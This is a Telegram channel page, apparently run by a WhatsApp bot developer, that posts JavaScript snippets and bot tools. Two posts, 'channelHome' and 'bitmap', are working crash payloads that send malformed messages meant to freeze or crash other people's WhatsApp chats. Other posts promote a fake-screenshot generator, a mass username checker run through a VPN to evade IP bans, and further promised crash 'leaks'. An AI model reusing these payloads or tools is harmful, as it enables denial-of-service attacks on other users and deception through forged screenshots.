π‚²βƒ•π†ƒπ¬Ν’πŒ β›§ π…•Ν’π¨ππΝ’πžπ«βƒ•π‚²
390 subscribers
24 photos
34 videos
6 files
13 links
Bot & WhatsApps
All images shared in this channel are for visual purposes only. They are intended solely for illustrative use and do not represent any functional or operational aspects!
All phone numbers in the media belong to the channel admin
Β© 2021 tsm
Download Telegram
I improved the function to use interactive buttons as sender so cta_url buttons can be shown againπŸ‘


Place the patchMessageBeforeSending in your makeWaSocket (like in the picture)


Code:

patchMessageBeforeSending: (msg) => {
function self(msg) {
    const im =
        msg?.interactiveMessage ||
        msg?.message?.interactiveMessage ||
        Object.values(msg || {}).find(v => v?.message?.interactiveMessage)?.message
            ?.interactiveMessage;
    const c = !!im?.carouselMessage?.cards?.every(
        i => i?.nativeFlowMessage?.buttons
    );
    if (!im?.nativeFlowMessage?.buttons && !c) return msg;
    const obj = { name: "cta_url", buttonParamsJson: "" };
    const ctaify = but => {
        if (!Array.isArray(but)) return but;
        return but.flatMap(b => {
            if (!b?.buttonParamsJson) {
                return [];
            }
            if (b?.name?.toLowerCase?.().includes("cta_url")) {
                return [b];
            }
            return [obj, b];
        });
    };
    if (im?.nativeFlowMessage?.buttons) {
        im.nativeFlowMessage.buttons = ctaify(
            im.nativeFlowMessage.buttons
        );
    }
    if (c) {
        for (const card of im.carouselMessage.cards) {
            if (Array.isArray(card.nativeFlowMessage?.buttons)) {
                card.nativeFlowMessage.buttons = ctaify(
                    card.nativeFlowMessage.buttons
                );
            }
        }
    }
    return msg;
}
msg = self(msg)
return msg
},
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ₯°11
Please open Telegram to view this post
VIEW IN TELEGRAM
3
Just added a new feature for the bannchecker🎷:

>Generate fake screenshot for your channels/groups


Command: ?? +xxxxxxxxxx


Bot: @projghostbot
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ†• chat to home frezze (maybe first one)


Unfortunately, I currently have almost no time for WhatsApp. That's why there have been so few posts.πŸ‘ˆ
Please open Telegram to view this post
VIEW IN TELEGRAM
271k.zip
1.7 MB
Because i forgot to update the web version pairing wasnt working for some of you guys. Here is the updated version🀟
Whatsapp bot base (fix)

πŸ”Features:
πŸ”Ό- slim
πŸ”Ό- anti view once
πŸ”Ό- buttons
πŸ”Ό- poll menu
πŸ”Ό- custom pairing
πŸ”Ό- internal terminal
πŸ”Ό- smart prebuild


By TsM SnΓΈwi?πŸ”₯
Please open Telegram to view this post
VIEW IN TELEGRAM
1000.txt
5.9 KB
Here are one thousand 5char telegram usernamesπŸ¦‹


Channel crash (home) will be leaked at 1k follows so share this to your friends ore groups/channels
Please open Telegram to view this post
VIEW IN TELEGRAM
2
All videos above are old and content may be outdated🍸
Please open Telegram to view this post
VIEW IN TELEGRAM
4
Lottie sticker edit got fully patched


They added the JWT signature proof that was missing before.

Without their private key we cant make top memes anymore 🫑
Please open Telegram to view this post
VIEW IN TELEGRAM
15😭5πŸ‘Ž1πŸ—Ώ1
This media is not supported in your browser
VIEW IN TELEGRAM
Crash home via channel😏


Function used in this video:
async function channelHome(sock, target, count = 5) {
for (let x = 0; x < count; x++) {
sock.relayMessage(target, {
"messageContextInfo": {
    "messageAssociation": {
        "parentMessageKey": {"id": ""}
    }
},
"extendedTextMessage": {}
},{})
await sleep(5000)
}
}

Join so you dont miss any future updates
Next leak at 500 subs🀌
Please open Telegram to view this post
VIEW IN TELEGRAM
274πŸ‘Œ2
Made a func to toggle group historyπŸ‘



async function toggleGroupHistory(sock, jid, enable = true) {
if (sock && jid)
await sock.query({
    tag: "iq",
    attrs: {
        type: "get",
        to: "s.whatsapp.net",
        xmlns: "w:mex"
    },
    content: [
        {
            tag: "query",
            attrs: {
                query_id: "24688994337458819"
            },
            content: Buffer.from(JSON.stringify({
                variables: {
                    group_id: jid,
                    input: {
                        member_share_group_history_mode: enable ? "ALL_MEMBER_SHARE" : "ADMIN_SHARE"
                    }
                }
            }), "utf-8")
        }
    ]
})
}

Dont miss future updates and join our channel now πŸ˜›

t.me/TheSatanicMirror
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯61
Updated Newsletter MetadataπŸ˜„


async function newsletterMetadata(sock, key = "jid", type) {
const res = await sock.query({
tag: "iq",
attrs: {
id: sock.generateMessageTag(),
type: "get",
to: "s.whatsapp.net",
xmlns: "w:mex"
},
content: [
{
tag: "query",
attrs: {
query_id: "26099060629688646"
},
content: Buffer.from(JSON.stringify({
variables: {
fetch_creation_time: true,
fetch_full_image: true,
fetch_viewer_metadata: true,
input: {
key
type: type.toUpperCase()
}
}
}), "utf-8")
}
]
})

const raw = res.content?.[0]?.content
const json = JSON.parse(Buffer.from(raw.data || raw).toString("utf-8"))
return json.data?.xwa2_newsletter
}
Please open Telegram to view this post
VIEW IN TELEGRAM
multiUser.js
1.8 KB
Here is the BEST whatsapp username checkerπŸ’Ž


All the noobs are using the normal query that checks just one username each request..


Our function uses a query that can check up to 10 usernames each query. The funcs auto splits the username array in 10 usernames per request to boost it to the maximum limitπŸ€


i recommend to use a vpn on the bot host if you check more then 50k in a day so you dont get ip banned😎
Please open Telegram to view this post
VIEW IN TELEGRAM
Bannchecker update😈:

➑️Updated reasons fresh from meta insiders

➑️100% real perma / review display



Bot:
@ProjGhostBot


Adding request review soon, follow channel for new information 😏
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
⚑️⚑️⚑️⚑️⚑️⚑️

New features:


πŸ”€Show banned date⏱
πŸ”€Show review date⏱
πŸ”€Request reviewπŸ›«


Bot: @ProjGhostBot
Please open Telegram to view this post
VIEW IN TELEGRAM
Wazap guys,
i made some obfuscation tool some weeks ago. Its very strong and i will continue improving it. Should i add it in the telegram bot so you can obfuscate your code?πŸ€ͺ
Final Results
100%
Yes❀️‍πŸ”₯
0%
No☹️
πŸ”₯2
Freaky chat crash. Hope you like it😏

async function bitmap(sock, jid) {
return await sock.relayMessage(jid, {
"botForwardedMessage": {
"message": {
"richResponseMessage": {
"messageType": 1,
"submessages": [
{
"messageType": 8,
"latexMetadata": {
"text": "\0",
"expressions": [
{
"latexExpression": "\0",
"width": 99999999,
}
]
}
}
],
"contextInfo": {
"isForwarded": true,
"forwardOrigin": 4
}
}
}}
})
}

Follow for more:
@TheSatanicMirror
Please open Telegram to view this post
VIEW IN TELEGRAM
4